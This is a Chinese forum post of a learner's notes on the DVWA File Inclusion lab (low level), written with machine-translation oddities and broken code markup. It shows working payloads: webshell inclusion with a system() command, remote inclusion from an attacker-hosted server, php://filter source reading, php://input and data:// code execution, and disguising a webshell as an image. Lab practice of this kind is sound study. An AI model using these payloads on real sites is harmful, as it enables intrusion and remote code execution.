Day_3_文件包罗

打印 上一主题 下一主题

主题 913|帖子 913|积分 2739

第三天

DVWA靶机 File Inclusion
0x00 Low Level
总结
源代码:
  1. [/code]关于该漏洞的三种方法:
  2. [list=1]
  3. [*]文件上传
  4. [*]长途包罗
  5. [*]php伪协议
  6. [/list][i][b]注意[/b][/i]
  7. [b]1. 文件上传[/b]
  8. 利用之前上传的Websell.php文件,可以构造url
  9. [indent]url(相对路径)
  10. http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../hackable/uploads/Webshell.php&cmd=system("dir");
  11. url(绝对路径)
  12. http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/DVWA-master/hackable/uploads/Webshell.php?cmd=system("dir");
  13. [/indent][list=1]
  14. [*]../代表退回上个目次
  15. [*]相对路径的url用?给cmd传参会产生报错,指出[b]include_path[/b] 因为php将?后面的当作参数而不是路径,但是include照旧当作路径,所以包罗的文件要想传递参数可以利用&
  16. [/list][indent]源码index.php
  17. [/indent][code]if( isset( $file ) )
  18.    include( $file );
  19. else {
  20.    header( 'Location:?page=include.php' );
  21.    exit;
  22. }
复制代码
关于include
NEW IDEA
文件上传漏洞可以和文件包罗漏洞连用,比如说如果一个服务器既可以文件上传又可以文件包罗,可能在文件上传的时候限制了必须是图片类型同时还没办法绕过,那么可以思量将一句话木马改成图片的形式,从而乐成上传,得到上传的地点,通过文件包罗在url中进行执行该文件,通常选择在当前目次下生成新的shell脚本然后与蚁剑等管理脚本的工具连接。
常用的一句话木马:
  1. [/code][indent][b]在当前目次下建立php文件,内部内容为一句话木马[/b]
  2. [/indent][b]2. 长途包罗[/b]
  3. 指文件在攻击机中并未上传,但是却可以在url中输入其所在位置,而且服务器可以执行。
  4. 这里因为靶机建在D盘所以可以将C盘模拟视为攻击机所在位置,而一样平常情况下都会思量将虚拟机视为攻击机
  5. [b]如果将虚拟机(kali)视为攻击机[/b]
  6. [list=1]
  7. [*]虚拟机开启[b]apache[/b]。
  8. [*]从虚拟机的[b]本地网络文件[/b]下(var/www/html)存放用于攻击的脚本文件。
  9. [*]在被攻击服务器的url中page传参过程中输入kali虚拟机ip地址
  10. [indent] ?page=http://ip/Webshell.php
  11. [/indent]
  12. [/list][b]3. PHP伪协议[/b]
  13. [indent]一样平常的解释:
  14. [i]PHP伪协议是一种特殊的协议,它可以让PHP执行一些特定的操作。固然称为“伪协议”,但实际上它并[b]不是真正的协议[/b],而是一种[b]通过URL来执行特定的PHP代码[/b]的机制。[/i]
  15. [/indent][i][b]url中利用特殊的前缀指示php执行特定的代码[/b][/i]
  16. [list]
  17. [*]一些伪协议类型
  18. [/list](1) file://
  19. [indent]访问本地文件
  20. [/indent][code]$contents = file_get_contents(‘file:///path/to/file.txt’);
复制代码
(2) http:// && https://
通过HTTP访问长途的资源
  1. $content = file_get_contents('http://example.com');
复制代码
(3) php://
将PHP代码作为字符串传递给PHP函数进行处理,常用于动态生成代码或执行简单的盘算。
php://filter
  1. ?page=php://filter/read=convert.base64-encode/resource=file1.php
复制代码
通过php协议读取本地敏感的源代码,颠末base64加密,返回
需要知道网站的目次结构,文件的路径
php://input
post请求中的数据作为PHP代码执行
  1. url: ?page=php://input
  2. post: <?php phpinfo(); ?>
复制代码
可以尝试用Burpsuite进行抓包,将url修改为?page=php://input ,然后在抓包的末端,参加盼望执行的php代码。
(4) data://
将数据嵌入到 PHP 脚本中,与php://input类似是执行代码,但是不同的是执行的方式。
  1. url1: ?page=data:text/plain,<?php 执行内容 ?>
  2. or
  3. url2: ?page=data:text/plain;base64,base64编码后的php代码
复制代码
这两个方法在本题中都颠末实验是可行的
0x01 Medium Level
源码:
[code]
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

麻花痒

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表